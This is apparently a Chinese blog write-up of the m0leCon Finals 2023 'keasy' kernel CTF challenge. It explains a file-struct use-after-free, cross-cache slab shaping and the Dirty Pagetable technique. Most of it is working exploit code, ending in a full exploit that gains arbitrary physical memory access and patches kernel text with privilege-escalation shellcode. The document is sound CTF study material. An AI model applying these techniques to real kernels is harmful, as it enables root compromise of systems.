m0leConFinals 2023 Keasy CrossCache UAF + DirtyPagetable

Pwn / Kernel
字数统计: 3k   |   阅读时长≈ 16 分钟

传说中的dirty_pagetable.

漏洞在于copy_to_user失败后, 会fput释放file, 但用户态仍能通过fd访问到该file, 造成file结构体的UAF.

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static long keasy_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
	long ret = -EINVAL;
	struct file *myfile;
	int fd;

	if (!enabled) {
		goto out;
	}
	enabled = 0;

    myfile = anon_inode_getfile("[easy]", &keasy_file_fops, NULL, 0);

    fd = get_unused_fd_flags(O_CLOEXEC);
    if (fd < 0) {
        ret = fd;
        goto err;
    }

    fd_install(fd, myfile);

	if (copy_to_user((unsigned int __user *)arg, &fd, sizeof(fd))) {
		ret = -EINVAL;
		goto err;
	}

	ret = 0;
    return ret;

err:
    fput(myfile);
out:
	return ret;
}

CrossCache UAF的探索

由于file结构体是从独立缓存filp中分配的, 则不可避免的要用到CrossCache的手法.

查看与CrossCache UAF构造相关的系统变量的值.

但是在实践中发现了一个问题:

  1. cpu_partial为52, 但在还远未有52个partial_slab时即触发了__unfreeze_partials.

调试发现, s->cpu_partial_slabs的值为7(偏移在0x30处), 而不是52(这很奇怪, 从kmem_cache结构体来看, cpu_partial_slabs应该位于偏移0x28处, 且该处值确实为52).

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static void put_cpu_partial(struct kmem_cache *s, struct slab *slab, int drain)
{
	struct slab *oldslab;
	struct slab *slab_to_unfreeze = NULL;
	unsigned long flags;
	int slabs = 0;

	local_lock_irqsave(&s->cpu_slab->lock, flags);

	oldslab = this_cpu_read(s->cpu_slab->partial);

	if (oldslab) {
		if (drain && oldslab->slabs >= s->cpu_partial_slabs) {
			/*
			 * Partial array is full. Move the existing set to the
			 * per node partial list. Postpone the actual unfreezing
			 * outside of the critical section.
			 */
			slab_to_unfreeze = oldslab;
			oldslab = NULL;
		} else {
			slabs = oldslab->slabs;
		}
	}

	slabs++;

	slab->slabs = slabs;
	slab->next = oldslab;

	this_cpu_write(s->cpu_slab->partial, slab);

	local_unlock_irqrestore(&s->cpu_slab->lock, flags);

	if (slab_to_unfreeze) {
		__unfreeze_partials(s, slab_to_unfreeze);
		stat(s, CPU_PARTIAL_DRAIN);
	}
}

构造方式一:

有如下两种可能的情形:

  1. 常规的CrossCache UAF构造, 原理见这篇文章 ,但是原文的方式没有考虑kmeme_cache_node的min_partial限制.
  2. ioctl触发的fput释放是通过RCU机制进行的, 所以等target释放时, 可能后面的一些喷射工作已经进行, 此时target所在板已经不再活跃, 所以会直接过早进入cpu->partial, 最终成为kmem_cache_node的min_partial个partial_slab之一.直到释放完postvictim_objs, target所在板完全空闲后才会从kmem_cache_node直接销毁.
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#define OBJS_PER_SLAB 16
#define CPU_PARTIAL 7
#define N_OVERFLOW ((CPU_PARTIAL+1)*OBJS_PER_SLAB) 
#define N_PREVICTIM OBJS_PER_SLAB-1

#define CC_FACTOR CPU_PARTIAL
#define N_POSTVICTIM OBJS_PER_SLAB*CC_FACTOR 


    int overflow_objs[N_OVERFLOW];
    int previctim_objs[N_PREVICTIM];
    int postvictim_objs[N_POSTVICTIM];

    for(int i = 0;i < N_OVERFLOW;++i)
    {
        overflow_objs[i] = open("/",O_RDONLY);
    }

    for(int i = 0;i < N_PREVICTIM;++i)
    {
        previctim_objs[i] = open("/",O_RDONLY);
    }

    ioctl(dev_fd,0xDEADBEAF);
    /*1 fd , 0 ref*/


    for(int i = 0;i < N_POSTVICTIM;++i)
    {
        postvictim_objs[i] = open("/",O_RDONLY);
    }
    /*2 fd , 1 ref*/

    puts("[+] Releasing files...");
    // Release the page for file slab cache
    logd("1");
    for(int i = 0;i < N_OVERFLOW;++i)
        close(overflow_objs[i]);
    logd("2");
    for(int i = 0;i < N_PREVICTIM;++i)
        close(previctim_objs[i]);
    logd("3");
    for(int i = 0;i < N_POSTVICTIM;++i)
        close(postvictim_objs[i]);

构造方式二:
思路: 布置好NODE_MIN_PARTIAL个slab准备填充kmem_cache_node->partial, 再布置target_slab, 再布置overflow_objs. 然后依次释放, 待kmem_cache_cpu->partial填满, 则CPU_PARTIAL个slab将进入kmem_cache_node,其中NODE_MIN_PARTIAL个slab留在kmem_cache_node中, target_slab被销毁.

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#define OBJS_PER_SLAB 16
#define CPU_PARTIAL 7
#define NODE_MIN_PARTIAL 5
#define N_NODEPARTIAL (NODE_MIN_PARTIAL*OBJS_PER_SLAB)
#define N_OVERFLOW ((CPU_PARTIAL-NODE_MIN_PARTIAL-2)*OBJS_PER_SLAB) 
#define N_PREVICTIM OBJS_PER_SLAB-1

#define CC_FACTOR 3
#define N_POSTVICTIM OBJS_PER_SLAB*CC_FACTOR


    int nodeminpartial_objs[N_NODEPARTIAL];
    int previctim_objs[N_PREVICTIM];
    int postvictim_objs[N_POSTVICTIM];
    int overflow_objs[N_OVERFLOW];

    logd("Prepare objs for filling kmem_cache_node->partial");
    for(int i = 0;i < N_NODEPARTIAL;++i)
    {
        nodeminpartial_objs[i] = open("/",O_RDONLY);
    }

    logd("Prepare target slab");
    logd("previctim");
    for(int i = 0;i < N_PREVICTIM;++i)
    {
        previctim_objs[i] = open("/",O_RDONLY);
    }

    ioctl(dev_fd,0xDEADBEAF);
    /*1 fd , 0 ref*/

    logd("postvictim");
    for(int i = 0;i < N_POSTVICTIM;++i)
    {
        postvictim_objs[i] = open("/",O_RDONLY);
    }
    /*2 fd , 1 ref*/

    for(int i = 0;i < N_OVERFLOW;++i)
    {
        overflow_objs[i] = open("/",O_RDONLY);
    }

    logd("Trigger __unfreeze_partials then discard");

    logd("1");
    for(int i = 0;i < N_NODEPARTIAL;++i)
        close(nodeminpartial_objs[i]);
    logd("2");
    for(int i = 0;i < N_PREVICTIM;++i)
        close(previctim_objs[i]);
    logd("3");
    for(int i = 0;i < N_POSTVICTIM;++i)
        close(postvictim_objs[i]);
    logd("4");
    for(int i = 0;i < N_OVERFLOW;++i)
        close(overflow_objs[i]);

但是失败了, 查看发现target_slab变成了kmem_cache_node->partial链表的第一个. 分析原因是put_cpu_partial时是从链表头添加, (unfreeze_partial是从链表尾添加到node->partial). 所以应该调换布置的顺序.

该构造方法可以比较稳定的销毁target_slab, 且尽量避免销毁多余的slab(似乎也没这个必要,所以有了第三种方法).

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#define OBJS_PER_SLAB 16
#define CPU_PARTIAL 7
#define NODE_MIN_PARTIAL 5
#define N_NODEPARTIAL (NODE_MIN_PARTIAL*OBJS_PER_SLAB)
#define N_PREVICTIM OBJS_PER_SLAB-1
#define N_POSTVICTIM OBJS_PER_SLAB+1

#define CC_FACTOR 3
#define N_OVERFLOW ((CPU_PARTIAL-NODE_MIN_PARTIAL-2+CC_FACTOR)*OBJS_PER_SLAB) 


    int nodeminpartial_objs[N_NODEPARTIAL];
    int previctim_objs[N_PREVICTIM];
    int postvictim_objs[N_POSTVICTIM];
    int overflow_objs[N_OVERFLOW];

    logd("Prepare target slab");
    logd("previctim");
    for(int i = 0;i < N_PREVICTIM;++i)
    {
        previctim_objs[i] = open("/",O_RDONLY);
    }

    ioctl(dev_fd,0xDEADBEAF);
    /*1 fd , 0 ref*/

    logd("postvictim");
    for(int i = 0;i < N_POSTVICTIM;++i)
    {
        postvictim_objs[i] = open("/",O_RDONLY);
    }
    /*2 fd , 1 ref*/

    logd("Prepare objs for filling kmem_cache_node->partial");
    for(int i = 0;i < N_NODEPARTIAL;++i)
    {
        nodeminpartial_objs[i] = open("/",O_RDONLY);
    }

    for(int i = 0;i < N_OVERFLOW;++i)
    {
        overflow_objs[i] = open("/",O_RDONLY);
    }

    logd("Trigger __unfreeze_partials then discard");

    logd("1");
    for(int i = 0;i < N_PREVICTIM;++i)
        close(previctim_objs[i]);
    logd("2");
    for(int i = 0;i < N_POSTVICTIM;++i)
        close(postvictim_objs[i]);

    logd("3");
    for(int i = 0;i < N_NODEPARTIAL;++i)
        close(nodeminpartial_objs[i]);

    logd("4");
    for(int i = 0;i < N_OVERFLOW;++i)
        close(overflow_objs[i]);

    /*1 fd , 0 ref*/
    sleep(20);

构造方法三:
确实,就是这么暴力, but work, 本质上和构造方法一相同.

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//#define N_FILESPRAY 2*OBJS_PER_SLAB*(CPU_PARTIAL+1)
#define N_FILESPRAY 0x100

  puts("[+] Spraying files...");
  // Spray file (1)
  for (int i = 0; i < N_FILESPRAY/2; i++)
    if ((file_spray[i] = open("/", O_RDONLY)) < 0) fatal("/");

  // Get dangling file descriptorz
  int ezfd = file_spray[N_FILESPRAY/2-1] + 1;
  if (ioctl(fd, 0, 0xdeadbeef) == 0) // Use-after-Free
    fatal("ioctl did not fail");

  // Spray file (2)
  for (int i = N_FILESPRAY/2; i < N_FILESPRAY; i++)
    if ((file_spray[i] = open("/", O_RDONLY)) < 0) fatal("/");

  puts("[+] Releasing files...");
  // Release the page for file slab cache
  for (int i = 0; i < N_FILESPRAY; i++)
    close(file_spray[i]);

调堆时可能会用到的断点.

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b keasy_open

# b alloc_empty_file
# b *(&__alloc_file+0x18)
b *(&keasy_ioctl+0x5c)
# b __fput
# b *(&file_free_rcu+57)
# b *(&__unfreeze_partials+208)
# b discard_slab
b __free_slab
# b *(&put_cpu_partial+74)

从File UAF出发的Dirty_Pagetable

再mmap分配一些匿名页并写入触发实际分配后, 可以看到file结构体已经被PTE覆盖.

但UAF的file结构体拥有的原语非常受限, 我们仍无法随意的修改PTE来完成物理地址任意写.

一个增量原语是通过dup增加file->f_count(偏移0x38处), 即可使PTE对应的物理地址发生偏移, 然而dup是有限制的(fork可以增大dup的次数,但仍有限制), 无法直接将其增加到内核text段(内核text段在低地址且距离极远).

于是走另一条路,dup 0x1000次使得两个PTE对应的物理地址重叠, 进一步munmap即可完成对page的UAF.


但我们没办法让新的用户页表占据UAF的page, 因为用户页表的物理页是从MIGRATE_UNMOVABLE内存区中分配, 而我们UAF的mmap来的匿名物理页来自MIGRATE_MOVABLE.

于是接下来有两种思路:

  1. 从MIGRATE_MOVABLE区域找可利用的对象.
  2. 使用其他方式映射页面, 使得UAF的页面来自MIGRATE_UNMOVABLE.

原文采用的是思路2. DMA-BUF使用的物理页来自MIGRATE_UNMOVABLE. 且与pte的页面来自同一个order.
如果布置使得DMA-BUF的页面与某些PTE相邻, 利用UAF增加DMA-BUF对应PTE使得DMA-BUF的页面与相邻的PTE重叠, 即可通过修改DMA-BUF页面的方式修改用户页表.

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logd("Spray PTE");
for(int i = 0; i < N_PAGESPRAY/2;++i)
{
    logd("%p",page_sprays[i]);
    for(int j = 0; j < 8; ++j)
        *(page_sprays[i]+j*0x1000) = 'A'+j;
}

// Allocate DMA-BUF heap
int dma_buf_fd = -1;
struct dma_heap_allocation_data data;
data.len = 0x1000;
data.fd_flags = O_RDWR;
data.heap_flags = 0;
data.fd = 0;
if (ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0)
    err_exit("DMA_HEAP_IOCTL_ALLOC");
printf("[+] dma_buf_fd: %d\n", dma_buf_fd = data.fd);


for(int i = N_PAGESPRAY/2; i < N_PAGESPRAY;++i)
{
    logd("%p",page_sprays[i]);
    for(int j = 0; j < 8; ++j)
        *(page_sprays[i]+j*0x1000) = 'A'+j;
}


logd("Increment file->f_count to construct page overlapping");
int ezfd = previctim_objs[N_PREVICTIM-1]+1;
logd("ezfd is %d",ezfd);
// Increment physical address
for (int i = 0; i < 0x1000; i++)
    if (dup(ezfd) < 0)
        err_exit("dup");


logd("Find overlapping page");
char* overlapping_page;
for(int i = 0; i < N_PAGESPRAY;++i)
{
    for(int j = 0; j < 8; ++j)
        if(*(page_sprays[i]+j*0x1000) != 'A'+j)
        {
            overlapping_page = page_sprays[i]+j*0x1000;
            logi("Overlapping page: %p",overlapping_page);
            break;
        }
}

logd("Replace overlapping_page's PTE with dmabuf's PTE");
munmap(overlapping_page,0x1000);
char* dmabuf = mmap(overlapping_page,0x1000,7,MAP_SHARED|MAP_POPULATE,dma_buf_fd,0);
strcpy(dmabuf,"Snowfall");


size_t buf[0x1000];
memcpy(buf,dmabuf,0x1000);
hexdump(buf,0x30);

logi("Increment dmabuf's PTE to overlap with some other PTE");
// Increment physical address
for (int i = 0; i < 0x2000; i++) 
    if (dup(ezfd) < 0)
        err_exit("dup");

memcpy(buf,dmabuf,0x1000);
hexdump(buf,0x30);

可以看到增加后dma-buf已经与一些PTE重叠, 此时更改这些PTE, 我们便拥有了任意物理内存读写的能力.

此时HanQi脱口而出那句名言.
“世界上最遥远的距离,是任意地址写和ASLR”.

但在当前情形下形同虚设. 原因如下:

  1. 我们不仅能够任意地址写, 同时还能任意地址读. 且是物理地址, 不会由于中途遇到非法地址而导致崩溃. 这给了我们搜索的能力.
  2. 内核中在固定物理地址处有残留的内核物理地址,如0x9c000处.(经典)

然后改写内核text段提权+逃逸就行了.
这部分直接照搬了.

EXP

最终exp:

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#include <kernelpwn.h>

struct dma_heap_allocation_data {
  uint64_t len;
  uint32_t fd;
  uint32_t fd_flags;
  uint64_t heap_flags;
};
#define DMA_HEAP_IOCTL_ALLOC 0xc0184800


static void win() {
  char buf[0x100];
  int fd = open("/dev/sda", O_RDONLY);
  if (fd < 0) {
    puts("[-] Lose...");
  } else {
    puts("[+] Win!");
    read(fd, buf, 0x100);
    write(1, buf, 0x100);
    puts("[+] Done");
  }
  exit(0);
}


int main()
{
    int ret = 0;
    setvbuf(stdout,_IONBF,0,0);
    setvbuf(stderr,_IONBF,0,0);
    save_status();
    bind_core(0);

    if((dev_fd = open("/dev/keasy",O_RDWR))<0)
    {
        err_exit("open device");
    }

  // Open DMA-BUF
  int dmafd = creat("/dev/dma_heap/system", O_RDWR);
  if (dmafd == -1)
    err_exit("/dev/dma_heap/system");
    
#define OBJS_PER_SLAB 16
#define CPU_PARTIAL 7
#define NODE_MIN_PARTIAL 5
#define N_NODEPARTIAL (NODE_MIN_PARTIAL*OBJS_PER_SLAB)
#define N_PREVICTIM OBJS_PER_SLAB-1
#define N_POSTVICTIM OBJS_PER_SLAB+1

#define CC_FACTOR 3
#define N_OVERFLOW ((CPU_PARTIAL-NODE_MIN_PARTIAL-2+CC_FACTOR)*OBJS_PER_SLAB) 

#define N_PAGESPRAY 0x200
    char* page_sprays[N_PAGESPRAY];
    for(int i = 0; i < N_PAGESPRAY;++i)
        page_sprays[i] = mmap(0xDEAD0000+i*0x10000,0x8000,7,MAP_ANONYMOUS|MAP_PRIVATE,-1,0);


    int nodeminpartial_objs[N_NODEPARTIAL];
    int previctim_objs[N_PREVICTIM];
    int postvictim_objs[N_POSTVICTIM];
    int overflow_objs[N_OVERFLOW];

    logd("Prepare target slab");
    logd("previctim");
    for(int i = 0;i < N_PREVICTIM;++i)
    {
        previctim_objs[i] = open("/",O_RDONLY);
    }

    ioctl(dev_fd,0xCAFEBABE);
    /*1 fd , 0 ref*/

    logd("postvictim");
    for(int i = 0;i < N_POSTVICTIM;++i)
    {
        postvictim_objs[i] = open("/",O_RDONLY);
    }
    /*2 fd , 1 ref*/

    logd("Prepare objs for filling kmem_cache_node->partial");
    for(int i = 0;i < N_NODEPARTIAL;++i)
    {
        nodeminpartial_objs[i] = open("/",O_RDONLY);
    }

    for(int i = 0;i < N_OVERFLOW;++i)
    {
        overflow_objs[i] = open("/",O_RDONLY);
    }

    logd("Trigger __unfreeze_partials then discard");

    for(int i = 0;i < N_PREVICTIM;++i)
        close(previctim_objs[i]);

    for(int i = 0;i < N_POSTVICTIM;++i)
        close(postvictim_objs[i]);

    for(int i = 0;i < N_NODEPARTIAL;++i)
        close(nodeminpartial_objs[i]);

    for(int i = 0;i < N_OVERFLOW;++i)
        close(overflow_objs[i]);

    /*1 fd , 0 ref*/

    logd("Spray PTE");
    for(int i = 0; i < N_PAGESPRAY/2;++i)
    {
        // logd("%p",page_sprays[i]);
        for(int j = 0; j < 8; ++j)
            *(page_sprays[i]+j*0x1000) = 'A'+j;
    }

    // Allocate DMA-BUF heap
    int dma_buf_fd = -1;
    struct dma_heap_allocation_data data;
    data.len = 0x1000;
    data.fd_flags = O_RDWR;
    data.heap_flags = 0;
    data.fd = 0;
    if (ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0)
        err_exit("DMA_HEAP_IOCTL_ALLOC");
    logi("dma_buf_fd: %d", dma_buf_fd = data.fd);


    for(int i = N_PAGESPRAY/2; i < N_PAGESPRAY;++i)
    {
        // logd("%p",page_sprays[i]);
        for(int j = 0; j < 8; ++j)
            *(page_sprays[i]+j*0x1000) = 'A'+j;
    }


    logd("Increment file->f_count to construct page overlapping");
    int ezfd = previctim_objs[N_PREVICTIM-1]+1;
    logd("ezfd is %d",ezfd);
    // Increment physical address
    for (int i = 0; i < 0x1000; i++)
        if (dup(ezfd) < 0)
            err_exit("dup");


    logd("Find overlapping page");
    char* overlapping_page;
    for(int i = 0; i < N_PAGESPRAY;++i)
    {
        for(int j = 0; j < 8; ++j)
            if(*(page_sprays[i]+j*0x1000) != 'A'+j)
            {
                overlapping_page = page_sprays[i]+j*0x1000;
                logi("Overlapping page: %p",overlapping_page);
                break;
            }
    }

    logd("Replace overlapping_page's PTE with dmabuf's PTE");
    munmap(overlapping_page,0x1000);
    char* dmabuf = mmap(overlapping_page,0x1000,7,MAP_SHARED|MAP_POPULATE,dma_buf_fd,0);
    strcpy(dmabuf,"Snowfall");


    size_t buf[0x1000];
    memcpy(buf,dmabuf,0x1000);
    hexdump(buf,0x30);

    logi("Increment dmabuf's PTE to overlap with some other PTE");
    // Increment physical address
    for (int i = 0; i < 0x2000; i++) 
        if (dup(ezfd) < 0)
            err_exit("dup");

    memcpy(buf,dmabuf,0x1000);
    hexdump(buf,0x30);

    // logd("Read Fixed Phy")
    *(size_t*)dmabuf = 0x800000000009c067;

    char* arb_ptr;
    for (int i = 0; i < N_PAGESPRAY; i++) {
        if (page_sprays[i] == overlapping_page) continue;
        if (*(size_t*)page_sprays[i] > 0xffff) {
        arb_ptr = page_sprays[i];
        printf("[+] Found victim page: %p\n", arb_ptr);
        break;
        }
    }

    size_t phys_base = ((*(size_t*)arb_ptr) & ~0xfff) - 0x1c04000;
    logi("Got phy_base: %p",phys_base);


    logi("Overwriting do_symlinkat...");
    size_t phys_func = phys_base + 0x24d4c0;
    *(size_t*)dmabuf = (phys_func & ~0xfff) | 0x8000000000000067;
    char shellcode[] = {0xf3, 0x0f, 0x1e, 0xfa, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x49, 0x81, 0xef, 0xc9, 0xd4, 0x24, 0x00, 0x49, 0x8d, 0xbf, 0xd8, 0x5e, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x20, 0xe6, 0x0a, 0x00, 0xff, 0xd0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0x49, 0x8d, 0xb7, 0xe0, 0x5c, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x40, 0xc1, 0x0a, 0x00, 0xff, 0xd0, 0x49, 0x8d, 0xbf, 0x48, 0x82, 0x53, 0x01, 0x49, 0x8d, 0x87, 0x90, 0xf8, 0x27, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc3, 0x48, 0xbf, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0, 0x48, 0x89, 0x98, 0x40, 0x07, 0x00, 0x00, 0x31, 0xc0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89, 0x44, 0x24, 0x08, 0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x48, 0x89, 0x44, 0x24, 0x10, 0x48, 0xb8, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89, 0x44, 0x24, 0x18, 0x48, 0xb8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0xb8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0xb8, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x48, 0x89, 0x44, 0x24, 0x30, 0x49, 0x8d, 0x87, 0x41, 0x0f, 0xc0, 0x00, 0xff, 0xe0, 0xcc};

    void *p;
    p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8);
    *(size_t*)p = getpid();
    p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8);
    *(size_t*)p = (size_t)&win;
    p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8);
    *(size_t*)p = user_cs;
    p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8);
    *(size_t*)p = user_rflags;
    p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8);
    *(size_t*)p = user_sp;
    p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8);
    *(size_t*)p = user_ss;

    memcpy(arb_ptr + (phys_func & 0xfff), shellcode, sizeof(shellcode));
    puts("[+] GO!GO!");

    printf("%d\n", symlink("/jail/x", "/jail"));

    puts("[-] Failed...");
    close(dev_fd);

    sleep(20);
    return 0;
}

参考文章

https://ptr-yudai.hatenablog.com/entry/2023/12/08/093606
https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html

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